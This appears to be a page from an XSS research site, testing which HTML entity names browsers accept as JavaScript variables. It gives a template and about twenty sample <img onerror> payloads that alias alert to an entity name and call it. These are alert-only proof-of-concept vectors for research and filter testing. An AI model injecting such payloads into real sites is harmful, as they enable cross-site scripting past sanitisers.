Entities allowed as JS variables

This vector shows which entities are allowed as JS variables.

Created Jul 2, 2024

Updated May 27, 2025

Detecting browser...

CategoryEntity Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml_entities

Template used:

<img src=data: onerror="$[data1]=log;$[data1]('html($[data1])')">

Sample payloads

<img src=data: onerror="&Aacute;=alert;&Aacute;('&#38;Aacute;')">

<img src=data: onerror="&aacute;=alert;&aacute;('&#38;aacute;')">

<img src=data: onerror="&Abreve;=alert;&Abreve;('&#38;Abreve;')">

<img src=data: onerror="&abreve;=alert;&abreve;('&#38;abreve;')">

<img src=data: onerror="&Acirc;=alert;&Acirc;('&#38;Acirc;')">

<img src=data: onerror="&acirc;=alert;&acirc;('&#38;acirc;')">

<img src=data: onerror="&Acy;=alert;&Acy;('&#38;Acy;')">

<img src=data: onerror="&acy;=alert;&acy;('&#38;acy;')">

<img src=data: onerror="&AElig;=alert;&AElig;('&#38;AElig;')">

<img src=data: onerror="&aelig;=alert;&aelig;('&#38;aelig;')">

<img src=data: onerror="&Afr;=alert;&Afr;('&#38;Afr;')">

<img src=data: onerror="&afr;=alert;&afr;('&#38;afr;')">

<img src=data: onerror="&Agrave;=alert;&Agrave;('&#38;Agrave;')">

<img src=data: onerror="&agrave;=alert;&agrave;('&#38;agrave;')">

<img src=data: onerror="&alefsym;=alert;&alefsym;('&#38;alefsym;')">

<img src=data: onerror="&aleph;=alert;&aleph;('&#38;aleph;')">

<img src=data: onerror="&Alpha;=alert;&Alpha;('&#38;Alpha;')">

<img src=data: onerror="&alpha;=alert;&alpha;('&#38;alpha;')">

<img src=data: onerror="&Amacr;=alert;&Amacr;('&#38;Amacr;')">

<img src=data: onerror="&amacr;=alert;&amacr;('&#38;amacr;')">